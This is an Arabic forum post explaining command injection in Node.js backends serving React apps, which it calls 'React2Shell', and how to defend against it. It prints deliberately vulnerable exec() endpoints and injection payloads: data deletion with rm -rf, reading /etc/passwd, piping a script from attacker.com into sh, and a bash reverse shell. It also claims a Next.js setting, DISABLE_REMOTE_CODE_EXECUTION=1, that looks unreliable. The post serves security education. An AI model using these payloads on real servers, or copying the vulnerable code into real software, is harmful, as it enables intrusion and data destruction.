- بواسطة x32x01 ||
تطبيقات React تعتبر من أشهر تقنيات الواجهة الأمامية في العالم، وكتير من المطورين بيستخدموها جنبًا إلى جنب مع Node.js لبناء تطبيقات كاملة. لكن مع الانتشار ده، ظهر نوع خطير جدًا من الهجمات اسمه React2Shell - وده ببساطة بيحوّل ثغرة بسيطة في React لثغرة Remote Code Execution (RCE) كاملة على السيرفر
الهجمة دي مش "Bug" في React نفسه…
child_process.exec()eval()- أو أي دوال تخلّي المستخدم يتحكم في أوامر النظام مباشرة
ما هو هجوم React2Shell؟
هجوم React2Shell يحصل لما المهاجم يستغل مدخلات المستخدم (user input) في واجهة React، ويبعته للسيرفر بشكل غير آمن.لو السيرفر بينفّذ المحتوى ده كأوامر نظام (OS Commands)، المهاجم وقتها يقدر يشغل أي كود على السيرفر
وده معناه سيطرة كاملة.
السيناريو الشائع:
- المستخدم يدخل قيمة معينة
- React تبعتها للـ Backend
- الـ Backend يستخدم القيمة دي في أمر System
- المهاجم يحقن Command زيادة
- السيرفر ينفّذ الهجوم

كيف يحدث React2Shell؟
الهجوم ده شائع جدًا في 3 حالات رئيسية:
1. عند استخدام Server-Side Rendering
لو التطبيق شغال بـ:- Next.js SSR
- Remix SSR
- React SSR القديم
2. عند تمرير مدخلات المستخدم مباشرة للسيرفر
مثال:React تبعت username, host, path, command للسيرفر بدون Sanitization.
3. عند استخدام دوال خطيرة
زي:child_process.exec()child_process.execSync()eval()Function()spawn()
مثال توضيحي على هجوم React2Shell
ده مثال خطير جدًا ومتكرر في مشاريع العالم الحقيقي:
Backend Vulnerable (Node.js)
JavaScript:
app.post("/ping", (req, res) => {
const host = req.body.host;
const exec = require("child_process").exec;
exec(`ping -c 1 ${host}`, (err, stdout) => {
res.send(stdout);
});
});
Frontend (React)
JavaScript:
fetch("/ping", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ host: userInput })
});
Attacker's Input:
Code:
8.8.8.8 && rm -rf / --no-preserve-root
النتيجة:
السيرفر ينفّذ: Code:
ping -c 1 8.8.8.8 && rm -rf /
أمثلة Payloads يستخدمها الهجوم
المهاجم ممكن يستخدم أي Command Injection زي: Bash:
8.8.8.8 && cat /etc/passwd
localhost || whoami
; curl attacker.com/shell.sh | sh
$(bash -i >& /dev/tcp/attacker-ip/4444 0>&1) ✔ وصول كامل
✔ تشغيل Shell
✔ إدارة السيرفر بالكامل
مثال اختباري مع كود أخطر
ده مثال أكثر تطورًا يشبه الهجمات اللي بتحصل في الواقع:
كود Backend سيء جدًا:
JavaScript:
app.post("/run", (req, res) => {
const input = req.body.cmd;
const exec = require("child_process").exec;
exec(input, (err, stdout, stderr) => {
if (err) return res.send(stderr);
res.send(stdout);
});
}); ده معناه إن المهاجم ممكن يدخل:
ls -laأو:
Code:
curl https://malicious.site/backdoor.sh | sh
نموذج React يسبب الثغرة
JavaScript:
const handleRun = () => {
fetch("/run", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ cmd: userInput })
});
}; 🛡 طرق الحماية من React2Shell
الحماية تعتمد بالكامل على Backend Security - مش React.✔ 1. لا تثق أبدًا في مدخلات المستخدم
قم بتنظيف المدخلات: Code:
const safeHost = host.replace(/[^0-9\.]/g, ""); ✔ 2. لا تستخدم exec() للمستخدم
بدّل Exec بدوال آمنة: Code:
const dns = require("dns");
dns.lookup(host, callback); ✔ 3. استخدم Allowlist
Code:
const allowed = ["google.com", "facebook.com"];
if (!allowed.includes(host)) {
return res.status(400).send("Invalid host");
} ✔ 4. تعطيل ميزات SSR الخطيرة
في Next.js مثلاً: Code:
DISABLE_REMOTE_CODE_EXECUTION=1 ✔ 5. إضافة WAF/Firewall لمنع الأنماط الخطيرة
احظر الكلمات: Code:
&&
||
;
|
$( )
` ✔ 6. تشغيل Node.js بأقل صلاحيات
شغّل السيرفر بدون root.✔ 7. عدم استخدام eval نهائيًا
JavaScript:
eval(userInput) // ❌ كارثة ✔ 8. مراقبة Logs لاكتشاف الهجمات
استخدم أدوات:- Wazuh
- CrowdSec
- Fail2Ban
كود آمن بديل لواجهة Ping
بدل exec، استخدم مكتبة DNS: JavaScript:
app.post("/ping", (req, res) => {
const host = req.body.host;
const dns = require("dns");
dns.lookup(host, (err, address) => {
if (err) return res.status(400).send("Invalid Host");
res.send(`Host resolved: ${address}`);
});
});
مقارنة بين الكود الآمن والضعيف
| نوع الكود | آمن؟ | لماذا |
|---|---|---|
| exec(ping ${host}) | يسمح بتنفيذ أوامر نظام | |
| eval(userInput) | يعطي تحكم كامل | |
| dns.lookup() | ✔ | لا ينفذ أوامر نظام |
| Allowlist Domains | ✔ | يمنع إدخال أي قيمة ضارة |
الخلاصة
ثغرة React2Shell ليست مشكلة في React على الإطلاق.لو عايز تضمن حماية قوية:
- امنع exec
- فلتر المدخلات
- استخدم Allowlist
- شغّل Node.js بأقل صلاحيات
- راقب المدخلات باستمرار
التعديل الأخير: